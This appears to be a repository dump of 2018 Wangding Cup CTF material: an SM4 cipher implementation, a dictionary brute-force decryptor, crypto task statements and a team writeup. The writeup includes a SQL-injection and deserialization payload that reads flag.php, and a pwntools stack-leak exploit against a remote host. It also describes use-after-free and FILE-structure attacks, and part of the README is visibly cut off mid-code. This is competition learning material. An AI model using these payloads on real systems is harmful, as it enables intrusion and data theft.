0XCE, 0XF9, 0X61, 0X15, 0XA1, 37 | 0XE0, 0XAE, 0X5D, 0XA4, 0X9B, 0X34, 0X1A, 0X55, 0XAD, 0X93, 0X32, 0X30, 0XF5, 0X8C, 0XB1, 0XE3, 38 | 0X1D, 0XF6, 0XE2, 0X2E, 0X82, 0X66, 0XCA, 0X60, 0XC0, 0X29, 0X23, 0XAB, 0X0D, 0X53, 0X4E, 0X6F, 39 | 0XD5, 0XDB, 0X37, 0X45, 0XDE, 0XFD, 0X8E, 0X2F, 0X03, 0XFF, 0X6A, 0X72, 0X6D, 0X6C, 0X5B, 0X51, 40 | 0X8D, 0X1B, 0XAF, 0X92, 0XBB, 0XDD, 0XBC, 0X7F, 0X11, 0XD9, 0X5C, 0X41, 0X1F, 0X10, 0X5A, 0XD8, 41 | 0X0A, 0XC1, 0X31, 0X88, 0XA5, 0XCD, 0X7B, 0XBD, 0X2D, 0X74, 0XD0, 0X12, 0XB8, 0XE5, 0XB4, 0XB0, 42 | 0X89, 0X69, 0X97, 0X4A, 0X0C, 0X96, 0X77, 0X7E, 0X65, 0XB9, 0XF1, 0X09, 0XC5, 0X6E, 0XC6, 0X84, 43 | 0X18, 0XF0, 0X7D, 0XEC, 0X3A, 0XDC, 0X4D, 0X20, 0X79, 0XEE, 0X5F, 0X3E, 0XD7, 0XCB, 0X39, 0X48] 44 | 45 | ''' 46 | 算法模式 47 | ''' 48 | SM4_ECB = 0x01 49 | SM4_CBC = 0x02 50 | 51 | ''' 52 | CBC模式加解密初始向量 53 | ''' 54 | CBC_IV = '00000000000000000000000000000000' 55 | 56 | def _line_conv_L(srcdata): 57 | ''' 58 | 线性变换 L C=L(B)=B^(B<<<2)^(B<<<10)^(B<<<18)^(B<<<24) 59 | B : 一个word 60 | ''' 61 | if common.is_word(srcdata) == False: 62 | raise Exception('源数据不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算') 63 | 64 | return srcdata ^ common.lrotate(srcdata, 2) ^ common.lrotate(srcdata, 10) ^ common.lrotate(srcdata, 18) ^ common.lrotate(srcdata, 24) 65 | 66 | def _line_conv_LN(srcdata): 67 | ''' 68 | 线性变换 L' C=L'(B)=B^(B<<<13)^(B<<<23) 69 | B : 一个word 70 | ''' 71 | if common.is_word(srcdata) == False: 72 | raise Exception('源数据不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算') 73 | 74 | return srcdata ^ common.lrotate(srcdata, 13) ^ common.lrotate(srcdata, 23) 75 | 76 | def _sbox_conv(srcdata): 77 | ''' 78 | S 盒变换,输入'ef',则经 S 盒后的值为表中第 e 行和第 f列的值,Sbox('ef')= '84' 79 | ''' 80 | if common.is_byte(srcdata) == False: 81 | raise Exception('源数据不在byte定义范围[0x00 - 0xFF],不能进行S 盒变换计算') 82 | 83 | return SM4_SBOX[srcdata] 84 | 85 | def _no_line_conv(srcdata): 86 | ''' 87 | 非线性变换 将一个word通过S 盒转换为另外一个word 88 | ''' 89 | if common.is_word(srcdata) == False: 90 | raise Exception('源数据不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算') 91 | 92 | four = srcdata & 0x000000FF 93 | three = (srcdata & 0x0000FF00) >> 8 94 | secod = (srcdata & 0x00FF0000) >> 16 95 | first = (srcdata & 0xFF000000) >> 24 96 | 97 | return (SM4_SBOX[first] << 24) | (SM4_SBOX[secod] << 16) | (SM4_SBOX[three] << 8) | (SM4_SBOX[four]) 98 | 99 | def _t_conv(srcdata): 100 | ''' 101 | T 是一个可逆变换,由非线性变换 τ 和线性变换 L 复合而成,即 T(.)=L(τ(.)) 102 | ''' 103 | if common.is_word(srcdata) == False: 104 | raise Exception('源数据不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算') 105 | 106 | return _line_conv_L(_no_line_conv(srcdata)) 107 | 108 | def _tn_conv(srcdata): 109 | ''' 110 | TN 是一个可逆变换,由非线性变换 τ 和线性变换 L' 复合而成,即 T(.)=L'(τ(.)) 111 | ''' 112 | if common.is_word(srcdata) == False: 113 | raise Exception('源数据不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算') 114 | 115 | return _line_conv_LN(_no_line_conv(srcdata)) 116 | 117 | def _generate_ext_keys(initkey): 118 | ''' 119 | 通过密钥扩展算法生成加密算法的轮密钥 120 | ''' 121 | if len(initkey) % 2 != 0: 122 | raise Exception('加密密钥长度[%s]错误' % len(initkey)) 123 | if common.IsHexCharacter(initkey) == False: 124 | raise Exception('加密密钥含有非法字符(非16进制字符)') 125 | MK = (initkey[:8], initkey[8:16], initkey[16:24], initkey[24:]) 126 | K = [] 127 | for i in xrange(0, len(MK)): 128 | K.append(common.Xor(int(MK[i], 16), SM4_FK[i])) 129 | 130 | for i in xrange(0, 32): 131 | xorrsp = common.Xor(common.Xor(common.Xor(K[i + 1], K[i + 2]), K[i + 3]), SM4_CK[i]) 132 | K.append(common.Xor(K[i], _tn_conv(xorrsp))) 133 | 134 | return K[4:] 135 | 136 | class SM4(object): 137 | ''' 138 | 国家密码对称算法类 139 | 该算法的分组长度为 128 比特,密钥长度为 128 比特。加密算法与密钥扩展算法都采用 32 轮非线性迭代结构。 140 | 解密算法与加密算法的结构相同,只是轮密钥的使用顺序相反,解密轮密钥是加密轮密钥的逆序。 141 | ''' 142 | 143 | def __init__(self, key='00000000000000000000000000000000'): 144 | ''' 145 | key : 用来加密数据的密钥,长度为128bits hexstring 146 | ''' 147 | self.key = key 148 | self.fk = SM4_FK 149 | self.ck = SM4_CK 150 | self.sbox = SM4_SBOX 151 | self.extkeys = _generate_ext_keys(key) 152 | 153 | def __str__(self): 154 | return 'sm4 object, key : %s' % self.key 155 | 156 | def _sm4_encrypt_128bits(self, message): 157 | ''' 158 | 单组128bits加密 159 | ''' 160 | if len(message) != 32: 161 | raise Exception('原始分组数据长度错误,单个分组长度为128bits') 162 | if common.IsHexCharacter(message) == False: 163 | raise Exception('原始数据包含非法字符(非16进制字符)') 164 | 165 | X = [int(message[:8], 16), int(message[8:16], 16), int(message[16:24], 16), int(message[24:], 16)] 166 | for i in xrange(0, 32): 167 | xorrsp = common.Xor(common.Xor(common.Xor(X[i + 1], X[i + 2]), X[i + 3]), self.extkeys[i]) 168 | X.append(common.Xor(X[i], _t_conv(xorrsp))) 169 | return '%08X%08X%08X%08X' % (X[35], X[34], X[33], X[32]) 170 | 171 | def _sm4_decrypt_128bits(self, message): 172 | ''' 173 | 单组128bits解密 174 | ''' 175 | if len(message) != 32: 176 | raise Exception('原始分组数据长度错误,单个分组长度为128bits') 177 | if common.IsHexCharacter(message) == False: 178 | raise Exception('原始数据包含非法字符(非16进制字符)') 179 | 180 | X = [int(message[:8], 16), int(message[8:16], 16), int(message[16:24], 16), int(message[24:], 16)] 181 | for i in xrange(0, 32): 182 | xorrsp = common.Xor(common.Xor(common.Xor(X[i + 1], X[i + 2]), X[i + 3]), self.extkeys[31 - i]) 183 | X.append(common.Xor(X[i], _t_conv(xorrsp))) 184 | return '%08X%08X%08X%08X' % (X[35], X[34], X[33], X[32]) 185 | 186 | def sm4_encrypt(self, message, enc_mode): 187 | ''' 188 | message 待加密数据 189 | enc_mode 加密模式 ECB/CBC 190 | ''' 191 | 192 | if len(message) % 32 != 0: 193 | raise Exception('待加密数据长度[%s]错误,需要为32的整倍数(含填充数据)' % len(message)) 194 | 195 | if common.IsHexCharacter(message) == False: 196 | raise Exception('待加密数据含有非法字符(非16进制字符)') 197 | 198 | C = '' 199 | if enc_mode == SM4_ECB: 200 | position = 0 201 | while True: 202 | ''' 203 | 循环加密所有分组 204 | ''' 205 | group = message[position:position + 32] 206 | C += self._sm4_encrypt_128bits(group) 207 | position += 32 208 | if len(message) == position: 209 | break 210 | elif enc_mode == SM4_CBC: 211 | position = 0 212 | iv = CBC_IV 213 | while True: 214 | ''' 215 | 循环加密所有分组 216 | ''' 217 | group = message[position:position + 32] 218 | xorrsp = common.Xor(int(iv,16), int(group, 16)) 219 | iv = self._sm4_encrypt_128bits('%032X' % xorrsp) 220 | C += iv 221 | position += 32 222 | if len(message) == position: 223 | break 224 | else: 225 | pass 226 | return C 227 | 228 | def sm4_decrypt(self, message, dec_mode): 229 | ''' 230 | message 待解密密文数据 231 | dec_mode 解密模式 ECB/CBC 232 | ''' 233 | if len(message) % 32 != 0: 234 | raise Exception('待解密数据长度[%s]错误,需要为32的整倍数' % len(message)) 235 | 236 | if common.IsHexCharacter(message) == False: 237 | raise Exception('待解密数据含有非法字符(非16进制字符)') 238 | 239 | M = '' 240 | if dec_mode == SM4_ECB: 241 | position = 0 242 | while True: 243 | ''' 244 | 循环解密所有分组 245 | ''' 246 | group = message[position:position + 32] 247 | M += self._sm4_decrypt_128bits(group) 248 | position += 32 249 | if len(message) == position: 250 | break 251 | elif dec_mode == SM4_CBC: 252 | position = 0 253 | iv = CBC_IV 254 | while True: 255 | ''' 256 | 循环解密所有分组 257 | ''' 258 | group = message[position:position + 32] 259 | decrsp = self._sm4_decrypt_128bits(group) 260 | M += '%032X' % common.Xor(int(iv,16), int(decrsp, 16)) 261 | position += 32 262 | iv = group 263 | if len(message) == position: 264 | break 265 | else: 266 | pass 267 | return M 268 | 269 | #----------------------------------------------------------------------------------------------------- 270 | if __name__ == '__main__': 271 | from common import * 272 | 273 | ''' 274 | print _sbox_conv(0x01) 275 | print _no_line_conv(0xe1e10101) 276 | 277 | i = 0 278 | for num in _generate_ext_keys('0123456789abcdeffedcba9876543210'): 279 | print 'rk[%02d] = [%08X]' % (i, num) 280 | i += 1 281 | ''' 282 | ''' 283 | print _message_padding('0123456789abcdeffedcba987654', SM4_PAD_PBOC) 284 | print _message_padding('0123456789abcdeffedcba9876543210', SM4_PAD_PBOC) 285 | print _message_padding('0123456789abcdeffedcba98765432103210', SM4_PAD_PBOC) 286 | print _message_padding('0123456789abcdeffedcba987654', SM4_PAD_UNION) 287 | print _message_padding('0123456789abcdeffedcba9876543210', SM4_PAD_UNION) 288 | print _message_padding('0123456789abcdeffedcba98765432103210', SM4_PAD_UNION) 289 | ''' 290 | print 'ECB : ' 291 | sm4 = SM4(key='0123456789abcdeFfedcba9876543210') 292 | message = '0123456789abcdeffedcba9876543210' 293 | print '待加密数据: ', message 294 | print '密钥: ', sm4.__str__() 295 | C = sm4.sm4_encrypt(message_padding(message, SM4_PAD_PBOC), SM4_ECB) 296 | print '密文: ', C 297 | M = sm4.sm4_decrypt(C, SM4_ECB) 298 | print '明文: ', M 299 | print '-'*120 300 | print 'ECB : ' 301 | message = u'qqwq' 302 | extmessage = reduce(lambda x, y: x + '%02X' % y, map(ord, list(message)), '') 303 | print 'message: ', message 304 | print 'extmessage: ', extmessage 305 | print '待加密数据: ', extmessage 306 | print '密钥: ', sm4.__str__() 307 | C = sm4.sm4_encrypt(message_padding(extmessage, SM4_PAD_PBOC), SM4_ECB) 308 | print '密文: ', C 309 | M = sm4.sm4_decrypt(C, SM4_ECB) 310 | print '明文: ', M 311 | print '-'*120 312 | print 'CBC : ' 313 | message = '0123456789abcdeffedcba9876543210' 314 | print '待加密数据: ', message 315 | print '密钥: ', sm4.__str__() 316 | C = sm4.sm4_encrypt(message_padding(message, SM4_PAD_PBOC), SM4_CBC) 317 | print '密文: ', C 318 | M = sm4.sm4_decrypt(C, SM4_CBC) 319 | print '明文: ', M 320 | print '-'*120 -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/SM4.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/SM4.pyc -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/__init__.py -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/brute.py: -------------------------------------------------------------------------------- 1 | from SM3 import * 2 | import libnum 3 | from SM4 import * 4 | import string 5 | import sys 6 | 7 | f = open("rockyou.txt","rb").read().split("\n") 8 | C = "FBF92C1A0276B443A4999F2BA8CC31703E62CC88F32B96A102DB3E9EAAA832149AD6B3B86461820600A5C22394AA064BCDEFF1BDE9961847ECBB5C78ED356014" 9 | for i in f: 10 | sys.stdout.write(i+"\r") 11 | sys.stdout.flush() 12 | b = i.encode("hex") 13 | sm3 = SM3(b) 14 | c = sm3.sm3_hash() 15 | flag = libnum.n2s(libnum.s2n(c[:32].decode("hex"))^libnum.s2n(c[32:].decode("hex"))).encode("hex") 16 | sm4 = SM4(key=flag) 17 | m = sm4.sm4_decrypt(C, SM4_ECB) 18 | cc = m.decode("hex") 19 | if set(list(set(cc))+list(set(string.printable))) == set(string.printable): 20 | print cc 21 | break 22 | m = sm4.sm4_decrypt(C, SM4_CBC) 23 | cc = m.decode("hex") 24 | if set(list(set(cc))+list(set(string.printable))) == set(string.printable): 25 | print cc 26 | break 27 | 28 | 29 | #flag{keep_on_going_never_give_up_}_partial_key2_is_97712CCDDEEFF -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/common.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8-*- 2 | ''' 3 | Created on 2016-4-6 4 | 5 | @author: 014731 6 | ''' 7 | 8 | ''' 9 | 填充规则 10 | ''' 11 | SM4_PAD_PBOC = 0x04 12 | PAD_PBOC = '80000000000000000000000000000000' 13 | 14 | SM4_PAD_UNION = 0x08 15 | PAD_UNION = '00000000000000000000000000000000' 16 | 17 | try: 18 | integer_types = (int, long) 19 | except NameError: 20 | integer_types = (int,) 21 | 22 | def is_integer(obj): 23 | return isinstance(obj, integer_types) 24 | 25 | def is_byte(int_num): 26 | ''' 27 | 定义8位为一个byte 28 | byte 范围为 0x00 - 0xFF 29 | ''' 30 | if is_integer(int_num) == False: 31 | return False 32 | if int_num < 0x00 or int_num > 0xFF: 33 | return False 34 | return True 35 | 36 | def is_word(int_num): 37 | ''' 38 | 定义32位为一个word 39 | 即一个字的大小范围为 0x00000000 - 0xFFFFFFFF 40 | ''' 41 | if is_integer(int_num) == False: 42 | return False 43 | if int_num < 0x00000000 or int_num > 0xFFFFFFFF: 44 | return False 45 | return True 46 | 47 | def IsHexCharacter(hexstring): 48 | ''' 49 | 判断字符串中字符是否都是16进制字符 0-9 a-f A-F 50 | ''' 51 | base = [str(x) for x in range(0,10)] + [chr(y) for y in range(ord('A'), ord('A') + 6)] 52 | for character in hexstring: 53 | if character.upper() not in base: 54 | return False 55 | return True 56 | 57 | def lrotate(src, bits): 58 | ''' 59 | 循环左移计算 60 | ''' 61 | if is_integer(src) == False: 62 | raise Exception('源数据不是整数类型,不能进行移位操作') 63 | 64 | return ((src << bits) | (src >> abs(32 - bits))) & 0xFFFFFFFF 65 | 66 | def Xor(data1, data2): 67 | ''' 68 | 异或运算 69 | ''' 70 | if is_integer(data1) == False or is_integer(data2) == False: 71 | raise Exception('源数据不是整数类型,不能进行异或运算') 72 | return data1 ^ data2 73 | 74 | def message_padding(message, rule = 4): 75 | if len(message) % 2 != 0: 76 | raise Exception('待加密数据长度不正确,必须为2的整倍数') 77 | padmsg = '' 78 | if rule == SM4_PAD_PBOC: 79 | ''' 80 | PBOC规范要求填充80 81 | ''' 82 | if len(message) % 32 == 0: 83 | padmsg = message + PAD_PBOC 84 | else: 85 | padmsg = message + PAD_PBOC[0:(len(message) / 32 + 1) * 32 - len(message)] 86 | elif rule == SM4_PAD_UNION: 87 | ''' 88 | UNION规范要求填充00 89 | ''' 90 | if len(message) % 32 == 0: 91 | padmsg = message 92 | else: 93 | padmsg = message + PAD_UNION[0:(len(message) / 32 + 1) * 32 - len(message)] 94 | else: 95 | raise Exception('未知填充规则') 96 | 97 | return padmsg 98 | 99 | def gcd(a, b): 100 | ''' 101 | 求a,b最大公约数 102 | ''' 103 | while b != 0: 104 | c = a%b 105 | a = b 106 | b = c 107 | return a 108 | #------------------------------------------------------------- 109 | if __name__ == '__main__': 110 | print lrotate(0x00000001, 2) 111 | print Xor(0xF0, 0x0F) 112 | print gcd(0xFF00AB,0xAABB00) -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/common.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/common.pyc -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/crypto01: -------------------------------------------------------------------------------- 1 | 题目一:单表替换 2 | 对明文进行单表替换后产生密文,攻击者通过统计规律由密文破解明文; 3 | 密文:1RWLQJbWKDWbDHVWKHWLFbHGXFDWLRQbSOD\VbDQbLPSRUWDQWbUROHbLQbVKDSLQJbDbPRUHbEHDXWLIXObPLQGBIODJ^EHOLHYHBLQB\RXUVHOI`BSDUWLDOBNH\sBLVB(&'(&) 4 | 5 | -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/crypto02: -------------------------------------------------------------------------------- 1 | 题目二:口令加密 2 | 使用口令对明文进行了SM4加密,加密的密钥是口令的SM3杂凑值的前后128比特的异或,攻击者通过彩虹表等字典攻击手段从密文破解明文。 3 | 4 | 密文:0xFB,0xF9,0x2C,0x1A,0x02,0x76,0xB4,0x43,0xA4,0x99,0x9F,0x2B,0xA8,0xCC,0x31,0x70,0x3E,0x62,0xCC,0x88,0xF3,0x2B,0x96,0xA1,0x02,0xDB,0x3E,0x9E,0xAA,0xA8,0x32,0x14,0x9A,0xD6,0xB3,0xB8,0x64,0x61,0x82,0x06,0x00,0xA5,0xC2,0x23,0x94,0xAA,0x06,0x4B,0xCD,0xEF,0xF1,0xBD,0xE9,0x96,0x18,0x47,0xEC,0xBB,0x5C,0x78,0xED,0x35,0x60,0x14 5 | -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/crypto03: -------------------------------------------------------------------------------- 1 | 题目三:SM4加密 2 | SM4加密的密钥由题目一、二中明文部分密钥(partial_key1和partial_key2),以及一个额外的口令杂凑值构成,攻击者通过分析构成方式破解密钥,进而恢复出明文。SM4加密模式为ECB模式,填充为0。 3 | 4 | 密文:0xC7,0xF7,0x3B,0x07,0x9D,0x00,0xC6,0xE3,0x4B,0x13,0x64,0x7D,0x1F,0xC8,0x22,0x79,0x9D,0x80,0xDF,0xC2,0x5C,0x4C,0xD4,0xD9,0xB5,0x70,0x37,0x7B,0xA6,0x82,0x08,0x13,0x68,0x44,0xD4,0x84,0xFA,0xB4,0x17,0x32,0x24,0xBC,0xEB,0x42,0x46,0xE2,0xDA,0xE3 5 | -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/readme.md: -------------------------------------------------------------------------------- 1 | ### 网鼎杯半决赛题目整理 -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/u-x03/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/u-x03/pwn -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/u-x03/pwn.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/u-x03/pwn.i64 -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/u-x04/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/u-x04/pwn -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/u-x12_web/www.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/u-x12_web/www.tar -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/x02/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/x02/pwn -------------------------------------------------------------------------------- /2018/网鼎杯online_2018/README.md: -------------------------------------------------------------------------------- 1 | Team: Lilac 2 | --------- 3 | - [misc](#misc) 4 | - [签到](#签到) 5 | - [clip](#clip) 6 | - [web](#web) 7 | - [facebook](#facebook) 8 | - [pwn](#pwn) 9 | - [guess](#guess) 10 | - [blind](#blind) 11 | - [reverse](#reverse) 12 | - [beijing](#beijing) 13 | - [blend](#blend) 14 | - [advanced](#advanced) 15 | - [crypto](#crypto) 16 | - [hashcoll](#hashcoll) 17 | 18 | ## misc 19 | ### 签到 20 | 无 21 | ### clip 22 | - 对damaged.disk分析可知包含png图片,提取图片得到了两张图片. 23 | - 修复png文件头, 对图片还原PS等,得到flag: 24 | `flag{0b008070-eb72-4b99-abed-092075d72a40}` 25 | ## web 26 | ### facebook 27 | 利用点: **sql注入+反序列化+LFR** 28 | payload: 29 | ```html 30 | /view.php?no=0/*123*/UniOn/*123*/select/*123*/0,1,2,%22O:8:\%22UserInfo\%22:3:{s:4:\%22name\%22;s:5:\%22lilac\%22;s:3:\%22age\%22;i:0;s:4:\%22blog\%22;s:29:\%22file:///var/www/html/flag.php\%22;}%22 31 | ``` 32 | ## pwn 33 | ### guess 34 | - 程序把flag读在栈上,提供了栈溢出,但是有canary保护,看似没有其他漏洞了,很自然地想到了**ssp leak**,但是不知道栈地址。从程序提供3次输入机会想到可以先用got地址泄露libc,然后用libc上的environ泄露栈地址,然后算出得到的栈地址与flag的距离,最后拿flag,这个距离值是固定的,正好可以通过3次泄露完成。libc可以用各种工具拿到,测试时发现远程环境和本地相同. 35 | 36 | ```python 37 | from pwn import * 38 | ''' 39 | for i in range(0x80, 0x180, 8): 40 | p = process("./GUESS") 41 | p.recvuntil("flag\n") 42 | p.sendline("1" * i + p64(0x0400C90)) 43 | p.recvline() 44 | x = p.recvline() 45 | p.close() 46 | print hex(i), x 47 | ''' 48 | environ = 0x03C6F38 49 | p = remote("106.75.90.160", 9999) 50 | p.recvuntil("flag\n") 51 | p.sendline("1" * 0x128 + p64(0x602040)) 52 | print p.recvuntil("***: ") 53 | read_offset = u64(p.recv(6).ljust(8, "\x00")) 54 | libc = read_offset - 0x00000000000F7250 55 | environ += libc 56 | print hex(libc) 57 | 58 | p.recvuntil("flag\n") 59 | p.sendline("1" * 0x128 + p64(environ)) 60 | print p.recvuntil("***: ") 61 | stack = u64(p.recv(6).ljust(8, "\x00")) 62 | print hex(stack) 63 | 64 | p.recvuntil("flag\n") 65 | p.sendline("1" * 0x128 + p64(stack - 0x168)) 66 | print p.recvuntil("***: ") 67 | print p.recvline() 68 | p.close() 69 | ``` 70 | ### blind 71 | release功能释放堆块后没有把指针置0,可以change中再次使用,存在**uaf**漏洞,可以用来修改fd做fastbin attack,以为没有提供leak,所以各种hook函数就别想了。stdin,stdout,stderr地址都是以0x7f开头,可以通过错位实现劫持,这里选择了stderr,然后就可以修改全局数据的5个指针指向任意地址,我将4个指针指向了bss上的一块连续内存用来伪造io_file和vtable,第五个指向了stdout用来攻击file结构。程序留了后面,可以直接吧vtable中的函数指针全部设为它,用构造好的file结构体指针覆盖stdout,执行printf时程序就被劫持为system(“/bin/sh”),伪造结构体时需要设置fp->lock指向一块值为0的内存。 72 | ```python 73 | from pwn import * 74 | import struct 75 | 76 | _IO_USE_OLD_IO_FILE = False 77 | _BITS = 64 78 | 79 | def _u64(data): 80 | return struct.unpack(" 279 | == ENTER FLAG == 280 | CORRECT! 281 | !! WRONG FLAG !! 282 | ``` 283 | payload如下: 284 | ```python 285 | #!/usr/bin/env python 286 | from pprint import pprint 287 | from z3 import * 288 | import struct 289 | 290 | s = Solver() 291 | ZERO = IntVal(0) 292 | 293 | def z3_abs(x): 294 | return If(x >= 0, x, -x) 295 | 296 | def psadbw(xmm1, xmm2): 297 | first = Sum([z3_abs(b1 - b2) for b1,b2 in zip(xmm1[:8], xmm2[:8])]) 298 | second = Sum([z3_abs(b1 - b2) for b1,b2 in zip(xmm1[8:], xmm2[8:])]) 299 | return (first, second) 300 | [0x2DD02F6, 0x2DC02E8, 0x2D802ED, 0x2CE02E2, 0x2C402E2, 0x2D402DB, 0x2D902CD, 0x3110304] 301 | _results = [ 302 | (0x02dd, 0x02f6), 303 | (0x02dc, 0x02e8), 304 | (0x02d8, 0x02ed), 305 | (0x02ce, 0x02e2), 306 | (0x02c4, 0x02e2), 307 | (0x02d4, 0x02db), 308 | (0x02d9, 0x02cd), 309 | (0x0311, 0x0304) 310 | ] [::-1] 311 | 312 | _xmm5s = [ 313 | [0xb8, 0x13, 0x00, 0xcd, 0x10, 0x0f, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x02, 0x0f, 0x22], 314 | ] 315 | 316 | for x in _results[:-1]: 317 | _xmm5s.append(list(map(ord, struct.pack(' 30, char < 127) 325 | 326 | for i in range(8): 327 | xmm5 = xmm5s[i] 328 | xmm2 = list(f) 329 | xmm2[i] = ZERO 330 | xmm2[i+8] = ZERO 331 | high,low = psadbw(xmm5, xmm2) 332 | s.add(high == results[i][0]) 333 | s.add(low == results[i][1]) 334 | 335 | print(s.check()) 336 | m = s.model() 337 | 338 | solution = '' 339 | sats = [] 340 | for d in m.decls(): 341 | if 'flag' in d.name(): 342 | solution += chr(m[d].as_long()) 343 | sats.append((int(d.name()[4:]), chr(m[d].as_long()))) 344 | sats = sorted(sats, key=lambda x: x[0]) 345 | sats = [s[1] for s in sats] 346 | flag = ''.join(sats) 347 | 348 | # unshuffle the flag 349 | flag = flag[12:] + flag[8:12] + flag[:8] 350 | print('flag{%s}' % flag) 351 | ``` 352 | 得到flag: 353 | `flag{mbr_is_funny__eh}` 354 | ### advanced 355 | 老年misc选手,看到输出得到加密后的flag:4b404c4b5648725b445845734c735949405c414d5949725c45495a51 356 | 像是异或flag后的结果 357 | ```python 358 | import libnum 359 | In [97]: libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51) 360 | Out[97]: 'K@LKVHr[DXEsLsYI@\\AMYIr\\EIZQ' 361 | ``` 362 | 猜测:In [93]: ord("f")^0x4b 363 | ```python 364 | Out[93]: 45 365 | 366 | In [94]: ord("g")^0x4b 367 | Out[94]: 44 368 | 369 | In [95]: ord("l")^0x40 370 | Out[95]: 44 371 | 372 | In [96]: ord("a")^0x4c 373 | Out[96]: 45 374 | ``` 375 | xor key 为45,44 376 | ```python 377 | In [98]: enc = libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51) 378 | 379 | In [99]: flag = "" 380 | In [102]: for i in range(len(enc)): 381 | ...: if i%2==0: 382 | ...: flag+=chr(ord(enc[i])^45) 383 | ...: else: 384 | ...: flag+=chr(ord(enc[i])^44) 385 | ...: 386 | ...: 387 | 388 | In [103]: print flag 389 | flag{d_with_a_template_phew} 390 | ``` 391 | ## crypto 392 | ### hashcoll 393 | 题目文件以及描述:Sometime, you wonder why you rEad the DescrIption Because it may contaIn something useless. 394 | nc 117.50.1.201 9999 395 | ```python 396 | #!/usr/bin/env python2 397 | 398 | FLAG = "aaa" 399 | 400 | h0 = 45740974929179720441799381904411404011270459520712533273451053262137196814399 401 | 402 | # 2**168 + 355 403 | g = 374144419156711147060143317175368453031918731002211L 404 | 405 | def shitty_hash(msg): 406 | h = h0 407 | msg = map(ord, msg) 408 | for i in msg: 409 | h = (h + i)*g 410 | # This line is just to screw you up :)) 411 | h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff#mod2**256 412 | #print h 413 | 414 | return h - 0xe6168647f636 415 | 416 | 417 | if __name__ == '__main__': 418 | try: 419 | introduction = """ 420 | .--. .------------------------. 421 | | __\ | | 422 | | > < < Homies, Hash collision | 423 | | \| | | 424 | |/_// `------------------------' 425 | | / 426 | `-' 427 | I never want to create challenges that people can grab random scripts to solve it. Nah 428 | """ 429 | 430 | print introduction 431 | 432 | m1 = raw_input('m1 : ') 433 | m2 = raw_input('m2 : ') 434 | 435 | assert m1 != m2 436 | 437 | #print "m1 = {!r}".format(m1) 438 | #print "m2 = {!r}".format(m2) 439 | 440 | hash1 = shitty_hash(m1) 441 | hash2 = shitty_hash(m2) 442 | 443 | if hash1 == hash2: 444 | print "\nThe flag is simple, it is 'the flag' :)) " 445 | print FLAG 446 | else: 447 | print 'Wrong.' 448 | 449 | except: 450 | print "Take your time to think of the inputs." 451 | pass 452 | ``` 453 | 题目分析: 454 | 通过对hash函数的展开发现h0对碰撞结果没有影响: 455 | 也给出了提示. 456 | ```python 457 | In [92]: libnum.n2s(45740974929179720441799381904411404011270459520712533273451053262137 458 | ...: 196814399) 459 | Out[92]: 'e you ever see something weird ?' 460 | ``` 461 | $$shitty\_hash(x_1,x_2,...,x_n) = h_0g^n+x_1g^n+x_2g^{n-1}+...+x_ng \ mod \ 2^{256}$$ 462 | 为了找到hash值相同的两个message,我们需要找到$a_1g^n+a_2g^{n-1}+...+a_ng \ mod \ 2^{256}$和$b_1g^n+b_2g^{n-1}+...+b_ng \ mod \ 2^{256}$的两个线性组合. $\{a_1,...,a_n\}$和$\{b_1,...,b_n\}$为两个message, 并且$a_i$和$b_i$属于$\{0,...,255\}$,我们可以假设m1固定, 则找到一组$c_1g^n+c_2g^{n-1}+...+c_ng \ mod \ 2^{256} = 0$ 则可以找到m2, $b_i = a_i+c_i$, 其中$a_i$已知(m1固定),则$c_i$的范围为$0<=a_i+c_i<=255$并且为整数.从而得到hash碰撞. 